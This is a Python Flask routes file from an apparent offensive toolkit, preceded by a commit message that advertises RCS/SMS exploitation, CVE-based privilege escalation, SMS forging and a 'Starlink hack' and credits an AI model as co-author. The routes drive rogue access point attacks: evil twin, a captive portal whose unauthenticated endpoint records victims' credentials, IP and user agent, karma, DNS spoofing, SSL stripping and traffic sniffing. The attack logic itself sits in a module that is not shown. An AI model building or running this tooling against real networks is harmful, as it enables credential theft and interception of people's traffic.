Autarch/web/routes/pineapple.py
DigiJ cdde8717d0 v2.3.0 — RCS exploit v2.0, Starlink hack, SMS forge, Archon RCS module
Major RCS/SMS exploitation rewrite (v2.0):
- bugle_db direct extraction (plaintext messages, no decryption needed)
- CVE-2024-0044 run-as privilege escalation (Android 12-13)
- AOSP RCS provider queries (content://rcs/)
- Archon app relay for Shizuku-elevated bugle_db access
- 7-tab web UI: Extract, Database, Forge, Modify, Exploit, Backup, Monitor
- SQL query interface for extracted databases
- Full backup/restore/clone with SMS Backup & Restore XML support
- Known CVE database (CVE-2023-24033, CVE-2024-49415, CVE-2025-48593)
- IMS/RCS diagnostics, Phenotype verbose logging, Pixel tools

New modules: Starlink hack, SMS forge, SDR drone detection
Archon Android app: RCS messaging module with Shizuku integration
Updated manuals to v2.3, 60 web blueprints confirmed

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-03 13:50:59 -08:00

188 lines
4.8 KiB
Python

"""WiFi Pineapple / Rogue AP routes."""
from flask import Blueprint, request, jsonify, render_template, make_response
from web.auth import login_required
pineapple_bp = Blueprint('pineapple', __name__, url_prefix='/pineapple')
def _get_ap():
from modules.pineapple import get_pineapple
return get_pineapple()
@pineapple_bp.route('/')
@login_required
def index():
return render_template('pineapple.html')
@pineapple_bp.route('/interfaces')
@login_required
def interfaces():
return jsonify(_get_ap().get_interfaces())
@pineapple_bp.route('/tools')
@login_required
def tools_status():
return jsonify(_get_ap().get_tools_status())
@pineapple_bp.route('/start', methods=['POST'])
@login_required
def start_ap():
data = request.get_json(silent=True) or {}
return jsonify(_get_ap().start_rogue_ap(
ssid=data.get('ssid', ''),
interface=data.get('interface', ''),
channel=data.get('channel', 6),
encryption=data.get('encryption', 'open'),
password=data.get('password'),
internet_interface=data.get('internet_interface')
))
@pineapple_bp.route('/stop', methods=['POST'])
@login_required
def stop_ap():
return jsonify(_get_ap().stop_rogue_ap())
@pineapple_bp.route('/status')
@login_required
def status():
return jsonify(_get_ap().get_status())
@pineapple_bp.route('/evil-twin', methods=['POST'])
@login_required
def evil_twin():
data = request.get_json(silent=True) or {}
return jsonify(_get_ap().evil_twin(
target_ssid=data.get('target_ssid', ''),
target_bssid=data.get('target_bssid', ''),
interface=data.get('interface', ''),
internet_interface=data.get('internet_interface')
))
@pineapple_bp.route('/portal/start', methods=['POST'])
@login_required
def portal_start():
data = request.get_json(silent=True) or {}
return jsonify(_get_ap().start_captive_portal(
portal_type=data.get('type', 'hotel_wifi'),
custom_html=data.get('custom_html')
))
@pineapple_bp.route('/portal/stop', methods=['POST'])
@login_required
def portal_stop():
return jsonify(_get_ap().stop_captive_portal())
@pineapple_bp.route('/portal/captures')
@login_required
def portal_captures():
return jsonify(_get_ap().get_portal_captures())
@pineapple_bp.route('/portal/capture', methods=['POST'])
def portal_capture():
"""Receive credentials from captive portal form submission (no auth required)."""
ap = _get_ap()
# Accept both form-encoded and JSON
if request.is_json:
data = request.get_json(silent=True) or {}
else:
data = dict(request.form)
data['ip'] = request.remote_addr
data['user_agent'] = request.headers.get('User-Agent', '')
ap.capture_portal_creds(data)
# Return the success page
html = ap.get_portal_success_html()
return make_response(html, 200)
@pineapple_bp.route('/portal/page')
def portal_page():
"""Serve the captive portal HTML page (no auth required)."""
ap = _get_ap()
html = ap.get_portal_html()
return make_response(html, 200)
@pineapple_bp.route('/karma/start', methods=['POST'])
@login_required
def karma_start():
data = request.get_json(silent=True) or {}
return jsonify(_get_ap().enable_karma(data.get('interface')))
@pineapple_bp.route('/karma/stop', methods=['POST'])
@login_required
def karma_stop():
return jsonify(_get_ap().disable_karma())
@pineapple_bp.route('/clients')
@login_required
def clients():
return jsonify(_get_ap().get_clients())
@pineapple_bp.route('/clients/<mac>/kick', methods=['POST'])
@login_required
def kick_client(mac):
return jsonify(_get_ap().kick_client(mac))
@pineapple_bp.route('/dns-spoof', methods=['POST'])
@login_required
def dns_spoof_enable():
data = request.get_json(silent=True) or {}
spoofs = data.get('spoofs', {})
return jsonify(_get_ap().enable_dns_spoof(spoofs))
@pineapple_bp.route('/dns-spoof', methods=['DELETE'])
@login_required
def dns_spoof_disable():
return jsonify(_get_ap().disable_dns_spoof())
@pineapple_bp.route('/ssl-strip/start', methods=['POST'])
@login_required
def ssl_strip_start():
return jsonify(_get_ap().enable_ssl_strip())
@pineapple_bp.route('/ssl-strip/stop', methods=['POST'])
@login_required
def ssl_strip_stop():
return jsonify(_get_ap().disable_ssl_strip())
@pineapple_bp.route('/traffic')
@login_required
def traffic():
return jsonify(_get_ap().get_traffic_stats())
@pineapple_bp.route('/sniff/start', methods=['POST'])
@login_required
def sniff_start():
data = request.get_json(silent=True) or {}
return jsonify(_get_ap().sniff_traffic(
interface=data.get('interface'),
filter_expr=data.get('filter'),
duration=data.get('duration', 60)
))
@pineapple_bp.route('/sniff/stop', methods=['POST'])
@login_required
def sniff_stop():
return jsonify(_get_ap().stop_sniff())